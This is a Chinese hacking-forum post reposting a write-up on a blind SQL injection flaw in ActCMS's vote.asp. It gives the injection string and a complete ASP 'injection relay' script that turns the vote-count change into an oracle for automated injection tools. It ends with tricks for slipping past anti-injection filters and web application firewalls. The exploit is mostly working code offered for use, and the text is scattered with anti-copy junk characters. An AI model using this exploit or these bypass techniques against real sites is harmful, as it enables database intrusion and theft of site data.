找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2049|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

( H  W- H* r+ \) |2 D) U" R8 D看到ninty大牛的blog的一篇文章  H* h! P3 |; {9 k# @3 R
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
: \/ v1 Z' h+ b0 A关于actcms漏洞的利用  by 3x qq:381862589
% A! E: o, A( _1 h: ^- c* p转载请注明以上" }( B* w3 B) ?9 v" @
漏洞文件:: B" j8 z* q4 E  ]
/plus/vote/vote.asp
+ S$ r2 u8 w# n# n6 @4 R$ e2 B代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    3 k* L, [* B! @8 g6 J' Y% X
2 Y) Z+ U8 ]/ N2 B9 f5 |* }
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   # J6 F( K+ O1 @7 n' l- U

0 n. b( w4 V. J& ]( n3    response.end   
1 i" p7 \7 C3 R4 P: _" t$ s( t% ?! G+ [
4    end if   
' |, Y% z2 n& o
/ F! K# X1 y& o4 ?5    for i=1 to request("voted").count   
( u. f: P! Y; ]3 C' S+ Q0 N/ b5 v/ J5 m# {  I
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
2 N4 K( p+ U, C, N" D9 V
0 P2 }  X# q2 D: S& \; k7    next   
' o. M' u  @' ~$ ~! a+ }3 S
9 Z% X' Z' K# q. A8 n1 e8....    , S" a- n3 Y3 X, A

3 e' Q8 C# @1 Q/ d7 U9response.Redirect "index.asp?id="&id&""   # J) z1 z) U; H3 z& [
投票结束回跳转回index.asp这个投票结果页面3 }, R. g& @3 _( ]9 N8 K" m
如果投票成功票数加1* }% b0 t7 E2 Z8 D) W+ K# _2 |2 C
            失败票数不变* {  Z; [0 Y2 T9 v: F, k/ P/ U$ X
如图:) j* ~; M0 q- z6 n& q( U! X
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
( _8 G% O' `4 ^$ O4 _& d, h
0 \  g5 K0 A2 o: C+ V2009-12-27 13:20) J/ u- a# ?" O% l, p  d

% ~8 K/ p  S" Y: K( @) v利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了+ C& Z( Y, X* S2 |

; J: c# U/ V9 r' j8 ~本帖隐藏的内容需要回复才可以浏览
7 @8 `& }& I2 v2 A8 e0 a- q我们用注入中转来实现这个注入具体代码如下:
7 w% }; N0 y1 y/ s先用寂寞的刺猬大牛的注入中转生成jmget.asp
: [+ e( q9 W! \% ?2 f7 I" K  U注入地址:http://localhost/actcms/plus/vote/vote.asp
- ]+ H. e4 a, f+ d  p注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
' `! M8 ^1 |6 B
: q% C# D" S4 S- g. j然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
( I8 e" p# a( T# s  Q" j
# ]; L4 H; d0 r! F02JmdcwName=request("jmdcw") 3 S. b1 s/ n: g+ ]2 q* @; \
, V5 h9 r  E% d5 m
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
" O8 t0 l% E5 F0 V, k  X8 J2 D; d7 g2 @2 }# n* G
04JmStr="id=1&voted=-1 or 1="&JmdcwName : Z4 i# f! p7 j, t% K9 g4 R" Y

) @! D, o/ t* ^& _- z: V05JmStr=URLEncoding(JmStr) 0 z! p/ J- z+ V$ q, w8 t1 J
, Z1 H0 U7 R- `$ F
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
3 }! ^0 C% l- I3 H6 W; E3 T' r9 V$ m/ i9 z$ w$ x1 A& g2 P% ~4 l
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"4 V) r# l0 F  G+ U! z2 C# L: S' ^

9 n, {' ^9 |2 u9 v08testurl=testurl & "?" & JmStr
* r1 S: X! ^; y
  W& F7 v5 P6 L2 H# n" L$ p! ~09JMUrl=JMUrl & "?" & JmStr : W$ b0 N4 U; u% B4 {/ ?% G

: w. o! G( Z  C) C- p10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
4 a' k- E5 v6 I% n6 r6 ]
5 o7 q( u  I! M5 _( G, Y( R8 g11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
; G: s& k" k8 s9 b8 o9 V* o8 w4 P9 f5 @8 w& G
12JmCok=replace(JmCok,chr(32),"%20")  
' i% k+ Y; y0 t1 [9 S; _" X
8 e8 V" I* r) ~) N4 }' x! A13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 1 w7 c; l2 d0 z2 B/ b( q* x: f8 @; I
0 X. }$ |, P) d
14  3 b6 f" G/ h  G" V: ^2 W) ~
7 `' V8 U; U3 E7 N% |* t5 a9 U
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
+ O# b  R: M3 m/ M5 b5 _9 \' \/ M6 \+ y
16  # }, H( P  s9 A$ u
1 U, ~# }( `& H' x3 ~$ L7 P4 v
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
7 G. k7 W2 ~; @" @  ^+ T0 ~& y. }: W
18response.write test1&""&test2&""
# d: X" ]' p( x. p2 D7 d3 @7 M; D7 `0 f% t# [  Y
19  % w  y% n* C# G/ X- l/ X
/ s( x: R% h( B" ]' a  A
20if test1=test2 then '如前后记录相等,表示失败
0 }+ ]2 S- E( Q: c4 t) J  k/ w/ j1 ]; [. c
21  response.write "failed"
8 R% r3 ?* ?0 U  p9 E2 F1 Y; S6 W/ J: C$ D
22else 7 d! K, e: _& H

; j: U6 `, B) T6 C2 _0 c- a$ s6 k3 ~23  response.write "succeed"
( z; \4 K2 Q! S
3 r( M" D5 {1 d* s5 T24end if  
7 b3 ]: d. R" H* U, J& z4 N$ N4 @. z# v8 Z$ B/ i5 u/ |4 x
25  9 V3 l0 A4 T) l
' d: X4 ]+ X7 ?. c8 J+ A6 l" z* w
26response.write "by 3x"' y# i- B' ]9 `" S1 [, g) x( W0 l
1 Z0 L5 l8 O! o
27  " O. m' z% M2 u' E3 w
" f; g' ~& R; h" P* C' [6 l( e6 G
28  " ^* P! \5 _  M& t1 \( b
' ?' n  e9 V; {2 u
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   3 q# G$ h8 s7 P9 ]" I+ X  Z

$ r$ y( Y2 _3 Z: C30Dim Http
! D; x2 h4 v8 O9 z) \
( m  r- J; }2 d31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
6 P8 H8 M1 _% y2 x# S# Y; W9 i" \$ ], _" T
32With Http - \9 C; `/ l5 ^$ P, q7 y- ^

) G4 m0 Z) U' ^% n5 m2 @' n33  ' C, D6 q, O% B

4 T4 J# I& f5 T34.Open "GET",PostUrl,False
. e+ V" S' o1 |2 K. w& G
# x7 q' K2 ?) J0 J35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"% Q( G4 N* |  }3 C8 M, v- b

3 f4 N  z# M: ?( u36.SetRequestHeader "Referer",PostRef
/ R4 ^; Q1 J0 w& q6 k+ w! B
5 u( u& J& k7 z37.SetRequestHeader "Cookie",PostCok
. o% t7 z- O& E; t( t% d8 L  q4 I
8 r6 J& _8 W5 l1 V6 i; b38.Send ()
7 J' U. J) K- P# n7 ^  M) c; m
* @" j8 W+ a* f39PostData = .ResponseBody ( X& a* F9 W- I. W/ c  n

6 r1 j# }& X& n40End With
3 z: H- L! M5 r2 ]8 N4 R6 R4 Z9 q) y7 S# T! P1 `  }
41Set Http = Nothing
& \6 n6 [: U7 G4 Z- d& H( x) E+ }3 k7 w  d$ b; \
42PostData =bytes2BSTR(PostData)
# `+ ~8 f$ q  g9 G/ A3 Z) e7 Z& l( s
43End Function
3 A3 l" [% g! m( P. x5 u5 R/ ^; J: r4 f9 ?% ^+ I- Q: z' U% \2 ]
44  ) b6 [" @# I2 T& P* m/ n
! W5 c  J; o; U! k# S7 ?
45  & G" b* Y( k( T: r) }" E
: L4 A$ |6 O' o; b4 K
46Function bytes2BSTR(vIn) " l' x+ j( h9 Z' l% p1 I/ ?9 \% Y9 T

9 Z. p% P; k! |6 y$ G1 |% B0 ^47Dim strReturn
# u8 B5 G& }2 ~, T6 ?5 l5 n5 \' s
; H3 K" Y7 N5 {6 |48Dim I, ThisCharCode, NextCharCode
+ F1 |3 \$ G. [- C3 p
3 e% _8 x0 P9 `1 @, \0 E$ ^49strReturn = ""
( F' ~1 b4 R! R, Z  M  g
: h! s5 x2 i* y( u50For I = 1 To LenB(vIn)
0 U5 B3 @: m1 e3 o) ?! E/ g" ~9 I! u# ?: Z/ b
51ThisCharCode = AscB(MidB(vIn, I, 1))
7 k, k% y1 J& X$ O% y' h3 d8 n+ k* C' b: B7 a
52If ThisCharCode < &H80 Then
9 u: Y6 O, C* e% V  D
* o9 o7 Z& }$ q" M. E8 `9 m53strReturn = strReturn & Chr(ThisCharCode) % m# ?  o5 y4 a# U

* S& u3 ^3 o7 g! h! U2 R54Else
( N" I- I6 G+ T
6 @9 @4 R- T+ ?1 ]# q55NextCharCode = AscB(MidB(vIn, I + 1, 1))
2 g$ ?9 {. K. |/ S. L$ \8 s' A$ o5 ^
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 6 E4 K2 b' G2 Q5 Z
4 G3 R; W8 r* m8 `9 U0 R4 b3 M. J4 s- L
57I = I + 1
$ C  w. J. @9 E: ]; S9 p8 H' g( O
! z: k  _9 y+ F' l+ X3 J6 @% }58End If( T3 |+ `( z' Z, J# J. \+ H2 c( A

) u1 O+ Y0 u5 D! M" z59Next, q9 v( b6 B& B/ J

0 X. K; G# S3 c3 T4 m60bytes2BSTR = strReturn $ d7 w1 H" w* o1 l( ^0 A. l
# ?, Q# P1 j, p1 o5 Z( @5 t' c
61End Function9 h/ S) H! h/ X3 J4 q$ B

4 L+ D% {3 @# h* t) W" {: A62  2 e* N. M  B; ]
9 d" {' \9 p9 Q+ ~3 Y. n
63Function URLEncoding(vstrin)  
+ z# ]/ d! P. W! J3 t, a7 v
: ]4 {4 A4 y% L! N64strReturn=""2 l9 B' U9 P6 {& t9 Z" y; N
" h8 S, \3 J; c& {  o. u0 O
65Dim i ' P1 j! e) ~+ F; p

- n! a/ w9 v; S& T$ |/ H  O66For i=1 To Len(vstrin)
7 `# [  N9 e' {1 u
' {/ _6 v. `  f- g$ \. L! O) x9 l6 B4 q67ThisChr=Mid(vstrin,i,1) * u! B) f: M% J: b# y
; R. n; O+ f+ W# m7 a# F. Z4 W( _
68if Abs(Asc(ThisChr))< &HFF Then+ L  _$ L) y4 N$ E  h
: R1 F" U- w3 s+ h% R/ U6 \
69strReturn=strReturn & ThisChr ) A& m" U# ^! F7 D( u+ y9 M

1 T: J2 _% {+ y5 q, f; @4 e$ D; I" F70Else
9 B+ ?; K* j, P' w* O
4 Z5 K1 j7 p; h/ }71InnerCode=Asc(ThisChr) 3 T0 M9 X' x" z
) b4 |; T) Y& t3 H" c
72If InnerCode<0 Then7 [- ]6 I$ _9 R+ U. q% }+ M
% K, _: c5 ^5 ?- L: ~  i
73InnerCode=InnerCode + &H10000
+ b$ q) b3 W* |
: \$ {$ O* _: Y# c( s% }5 w4 J; `74End If, v: s# {' n7 H

( n& X3 u" N8 G! r/ A; j75Hight1=(InnerCode And &HFF00) \&HFF 8 R& M" \1 W8 F2 }

9 k) u+ \& R& T1 J76Low1=InnerCode And &HFF
0 ^  k9 @' l- r& G/ @) ?8 c  k* X
: @9 W' E* [. U2 `9 o; _+ l77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
' A: x9 `6 S; i, ~) m4 W0 D
& h8 u7 {, z. a1 D9 C% Q78End if 6 Y' p5 X" F* |+ d
4 \/ a+ O" w8 m" @. {$ |. R
79Next
$ v2 J$ V6 f' i+ F. U
8 r( K! S. p, o1 q80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
7 p' q6 w5 G7 F
0 a+ J2 r: J# t4 S0 `5 R4 P/ B81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ( ~, t3 P9 _1 g9 [9 @

. C$ t2 ~7 N' `. ^$ h" V/ t82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
" c% ?2 J5 t2 L5 K$ C' W( A
& x9 V/ y; d7 z! l7 G  K+ z4 _& E83URLEncoding=strReturn ' {% k7 Z* `, U- h; }4 B  c

/ G( }# o0 g: p* d6 D/ F84End Function; i6 v( F0 O4 d- U7 w% T; P+ @

" O8 i8 b. c& n85  
) T6 ~; P; N' @" @0 t/ e- T# t
86function getSt(body) ' E1 t1 F: k# V$ x" S6 K% ^, C

" f+ b$ O; S, o- e1 n87  startpot=instr(body,"投票人数:")+len("投票人数:")
8 x7 z1 T2 ?. `6 g! C; \' H! m0 {2 ~& L4 ?+ h& _
88  endpot=instr(startpot,body," ")
' h* I, h& O3 k! K, m$ {% K6 v
1 ]( k0 F; H/ B8 D6 R( b: O89  getSt=mid(body,startpot,endpot-startpot)
5 f2 X* S/ ]) S) S( Z; s$ E  M# Z( k2 n, p1 Y: |; b6 a
90end function
. F* Y/ {. N  D6 Q: W! u3 C5 o$ F
& N; _, U% Q5 c91%>
' ^' r, z- b: I) }8 d9 k" H注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
5 X' P% y5 N+ Q% @7 a测试下效果:
. Q0 M) w5 X1 _3 J& O6 |& S* T投票成功:
9 e! J5 |4 D, Phttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
% X% s( e# P+ L2 S6 ^2 A: D9 j% v9 n/ L+ n/ [7 A( x- F, \: }
2009-12-27 13:29
) x. u- r/ D* H$ H2 a! x7 C1 L. G9 L投票失败
6 z9 k, I0 T$ {& F" L1 w! hhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
4 B- T4 j0 i3 L9 M
2 ^" `) x3 j; i) D$ V* B( V2009-12-27 13:29
4 E- W8 s6 Z* y; w1 Z# H, Z2 r7 @-------------------------------------------------------------------------------5 Q) x& D; \8 k$ @, S# r2 N
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以! A$ X6 ^, c4 ^- k, s, ~3 W3 ~
很抱歉。。。只能用单线程工具去注入。。。。。7 b6 _; G# Q7 S) C
所以失败。。。不好意思。。。, R+ v* \- M" O' @' l9 l1 b% R
-------------------------------------------------------------------------------
% v$ e1 u1 N- g* q6 I, c. X/ P- R, `/ c9 w+ O* U# ~
注入中转的一些其他应用7 u# b$ @+ q  b  H% B
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
5 K$ w2 T  N+ ~* d2 F, j1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id( r7 I2 [6 @% D+ n7 u
2.post注入转成get型的注入,方便我们使用工具来跑; z- P7 d# _* P& M  e4 P
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")* I$ ~0 s' q% w% b
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
9 v/ G6 a9 |. w( v/ V: K" l/ z( X! ?  [8 q5 N& ^3 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表